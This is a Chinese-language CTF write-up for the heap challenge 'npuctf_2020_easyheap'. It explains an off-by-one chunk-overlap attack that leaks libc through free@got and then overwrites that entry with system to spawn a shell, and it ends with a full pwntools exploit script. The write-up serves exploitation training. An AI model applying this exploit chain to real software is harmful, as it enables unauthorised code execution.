npuctf_2020_easyheap
步骤:
- 例行检查,64位程序,开启了canary和nx
- 本地试运行一下,看看大概的情况,经典的堆题的菜单
- 64位ida载入
add()
edit()
show()
delete()
利用思路
- 通过 off by one 漏洞,修改下一个 chunk 的 size 为 0x41 大小,这样 free 之后就能造成堆块重叠。
- 通过堆块重叠,修改记录 size 与 chunk_addr 的 chunk 中的 chunk_addr 为 free函数的 got 表地址,然后通过show打印泄露libc
- 获取libc后就能计算出system的地址,再次通过off-by-one修改free@got为 system 的地址,当主函数再次执行delete(chunk2)的时候,结合 “/bin/sh” 参数,实现 system(’/bin/sh’) 获取shell
利用过程
- 构造堆块重叠
创建堆块
add(0x18,'aaaa')
add(0x18,'bbbb')
add(0x18,'/bin/sh\x00')
此时堆的布局
利用off-by-one,通过修改chunk0来修改chunk1的size,这样释放chunk1的话就会构成重叠堆
edit(0,'a'*0x18+'\x41')
delete(1)
此时的堆布局
- 构造好重叠堆块后,通过编辑new_chunk_1来将记录chunk2地址的地方改为free@got,然后通过show来泄露libc,有了libc就可以计算system函数的地址了
payload='a'*0x10+p64(0)+p64(0x21)+p64(0x100)+p64(elf.got['free'])
add(0x38,payload)
show(1)
p.recvuntil('Content : ')
libcbase=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['free']
system_addr=libcbase+libc.symbols['system']
此后的堆布局,已经将chunk1_addr改成了free@got的地址
- 最后修改free@got的地址为system的地址,然后执行delete(chunk2),从而执行了system(‘/bin/sh’),获取了shell
edit(1,p64(system_addr))
delete(2)
p.interactive()
成功将free@got地址改成了system地址
完整exp:
from pwn import *
p=process('./npuctf_2020_easyheap')
#p=remote('node3.buuoj.cn',28132)
elf=ELF('./npuctf_2020_easyheap')
context.log_level="debug"
libc=ELF('./libc-2.27-64.so')
def add(size,content):
p.sendlineafter('Your choice :',str(1))
p.sendlineafter('Size of Heap(0x10 or 0x20 only) : ',str(size))
p.sendlineafter('Content:',content)
def edit(index,content):
p.sendlineafter('Your choice :',str(2))
p.sendlineafter('Index :',str(index))
p.recvuntil("Content: ")
p.send(content)
def show(idx):
p.sendlineafter('Your choice :',str(3))
p.sendlineafter('Index :',str(idx))
def delete(idx):
p.sendlineafter('Your choice :',str(4))
p.sendlineafter('Index :',str(idx))
add(0x18,'aaaa')
add(0x18,'bbbb')
add(0x18,'/bin/sh\x00')
edit(0,'a'*0x18+'\x41')
delete(1)
payload='a'*0x10+p64(0)+p64(0x21)+p64(0x100)+p64(elf.got['free'])
add(0x38,payload)
#gdb.attach(p)
show(1)
p.recvuntil('Content : ')
libcbase=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['free']
system_addr=libcbase+libc.symbols['system']
edit(1,p64(system_addr))
#gdb.attach(p)
delete(2)
p.interactive()